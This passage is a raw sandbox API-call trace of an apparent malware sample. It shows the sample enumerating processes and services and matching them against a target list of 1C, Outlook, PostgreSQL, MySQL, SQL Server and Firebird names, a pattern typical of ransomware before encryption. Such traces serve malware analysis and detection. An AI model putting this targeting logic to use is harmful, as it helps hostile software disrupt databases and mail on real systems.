[0157.800] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0157.801] lstrlenW (lpString="System") returned 6 [0157.801] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0157.801] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0157.801] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0157.801] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0157.801] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0157.801] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0157.801] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0157.801] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0157.801] lstrlenW (lpString="smss.exe") returned 8 [0157.801] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0157.801] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0157.801] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0157.801] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0157.801] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0157.801] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0157.801] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0157.801] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.802] lstrlenW (lpString="csrss.exe") returned 9 [0157.802] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0157.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0157.802] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0157.802] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0157.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0157.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0157.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0157.802] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0157.802] lstrlenW (lpString="wininit.exe") returned 11 [0157.802] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0157.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0157.802] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0157.802] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0157.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0157.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0157.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0157.802] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.803] lstrlenW (lpString="csrss.exe") returned 9 [0157.803] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0157.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0157.803] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0157.803] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0157.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0157.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0157.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0157.803] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0157.803] lstrlenW (lpString="winlogon.exe") returned 12 [0157.803] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0157.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0157.803] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0157.803] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0157.803] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0157.804] lstrlenW (lpString="services.exe") returned 12 [0157.804] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0157.804] lstrlenW (lpString="lsass.exe") returned 9 [0157.804] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0157.805] lstrlenW (lpString="lsm.exe") returned 7 [0157.805] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.805] lstrlenW (lpString="svchost.exe") returned 11 [0157.805] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.805] lstrlenW (lpString="svchost.exe") returned 11 [0157.805] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.805] lstrlenW (lpString="svchost.exe") returned 11 [0157.806] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.806] lstrlenW (lpString="svchost.exe") returned 11 [0157.806] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.806] lstrlenW (lpString="svchost.exe") returned 11 [0157.806] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0157.806] lstrlenW (lpString="audiodg.exe") returned 11 [0157.806] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.807] lstrlenW (lpString="svchost.exe") returned 11 [0157.807] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0157.807] lstrlenW (lpString="explorer.exe") returned 12 [0157.807] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0157.807] lstrlenW (lpString="dwm.exe") returned 7 [0157.807] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.808] lstrlenW (lpString="svchost.exe") returned 11 [0157.808] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0157.808] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0157.808] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0157.808] lstrlenW (lpString="spoolsv.exe") returned 11 [0157.808] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0157.809] lstrlenW (lpString="reader_sl.exe") returned 13 [0157.809] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.809] lstrlenW (lpString="svchost.exe") returned 11 [0157.809] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0157.809] lstrlenW (lpString="taskhost.exe") returned 12 [0157.809] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0157.810] lstrlenW (lpString="dllhost.exe") returned 11 [0157.810] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0157.810] lstrlenW (lpString="taskhost.exe") returned 12 [0157.810] Process32NextW (in: hSnapshot=0x1b8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0157.810] CloseHandle (hObject=0x1b8) returned 1 [0157.810] Sleep (dwMilliseconds=0x1f4) [0158.373] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0158.373] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0158.373] GetLastError () returned 0xea [0158.374] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x428bbd0 [0158.374] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0158.374] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0158.374] lstrlenW (lpString="Appinfo") returned 7 [0158.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0158.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0158.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0158.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0158.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0158.375] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0158.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.375] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0158.375] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0158.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0158.375] lstrlenW (lpString="AudioSrv") returned 8 [0158.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0158.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0158.375] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0158.375] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0158.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0158.375] lstrlenW (lpString="BFE") returned 3 [0158.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0158.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0158.375] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0158.375] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0158.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0158.375] lstrlenW (lpString="CryptSvc") returned 8 [0158.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0158.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0158.375] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0158.375] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0158.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0158.375] lstrlenW (lpString="CscService") returned 10 [0158.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0158.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0158.375] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0158.375] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0158.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0158.375] lstrlenW (lpString="DcomLaunch") returned 10 [0158.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.376] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0158.376] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0158.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0158.376] lstrlenW (lpString="Dhcp") returned 4 [0158.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0158.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0158.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0158.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0158.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0158.376] lstrlenW (lpString="Dnscache") returned 8 [0158.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0158.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0158.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0158.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0158.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0158.376] lstrlenW (lpString="DPS") returned 3 [0158.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0158.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0158.376] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0158.376] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0158.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0158.376] lstrlenW (lpString="eventlog") returned 8 [0158.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0158.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0158.376] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0158.376] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0158.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0158.376] lstrlenW (lpString="EventSystem") returned 11 [0158.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0158.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0158.377] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0158.377] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0158.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0158.377] lstrlenW (lpString="gpsvc") returned 5 [0158.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0158.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0158.377] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0158.377] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0158.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0158.377] lstrlenW (lpString="iphlpsvc") returned 8 [0158.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.377] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0158.377] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0158.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0158.377] lstrlenW (lpString="LanmanServer") returned 12 [0158.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0158.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0158.377] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0158.377] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0158.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0158.377] lstrlenW (lpString="LanmanWorkstation") returned 17 [0158.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.377] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0158.377] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0158.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0158.377] lstrlenW (lpString="lmhosts") returned 7 [0158.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0158.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0158.377] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0158.377] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0158.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0158.377] lstrlenW (lpString="MMCSS") returned 5 [0158.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0158.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0158.378] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0158.378] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0158.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0158.378] lstrlenW (lpString="MpsSvc") returned 6 [0158.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0158.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0158.378] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0158.378] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0158.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0158.378] lstrlenW (lpString="Netman") returned 6 [0158.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0158.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0158.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0158.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0158.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0158.378] lstrlenW (lpString="netprofm") returned 8 [0158.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0158.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0158.378] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0158.378] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0158.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0158.378] lstrlenW (lpString="NlaSvc") returned 6 [0158.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0158.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0158.378] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0158.378] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0158.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0158.378] lstrlenW (lpString="nsi") returned 3 [0158.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0158.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0158.378] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0158.378] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0158.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0158.379] lstrlenW (lpString="PcaSvc") returned 6 [0158.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0158.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0158.379] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0158.379] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0158.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0158.379] lstrlenW (lpString="PlugPlay") returned 8 [0158.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0158.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0158.379] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0158.379] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0158.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0158.379] lstrlenW (lpString="Power") returned 5 [0158.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0158.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0158.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0158.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0158.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0158.379] lstrlenW (lpString="ProfSvc") returned 7 [0158.379] lstrcmpiW 